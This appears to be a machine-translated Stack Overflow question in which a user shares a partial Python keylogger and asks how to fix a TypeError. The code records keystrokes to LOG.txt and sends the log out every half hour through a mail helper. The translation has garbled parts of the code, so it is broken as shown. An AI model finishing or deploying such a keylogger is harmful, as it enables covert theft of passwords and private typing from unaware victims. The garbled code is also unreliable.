TypeError: write() argument must be str, nicht die Liste

def file_input(aufgezeichnet):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()

wenn Namen == "main":

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)

ich versuche zu schreiben ein keylogger in python und ich vor Typ-Fehler wie, wie kann ich dieses problem lösen?

ich gerade in der aufgezeichneten Variablen in write() und es macht Typ-Fehler und aufgezeichnet variable Typ list. also ich habe versucht, verwenden Sie die func-aber es hat nicht geklappt

  • die Frage ist nicht ganz klar
InformationsquelleAutor Gripex | 2017-01-04
Schreibe einen Kommentar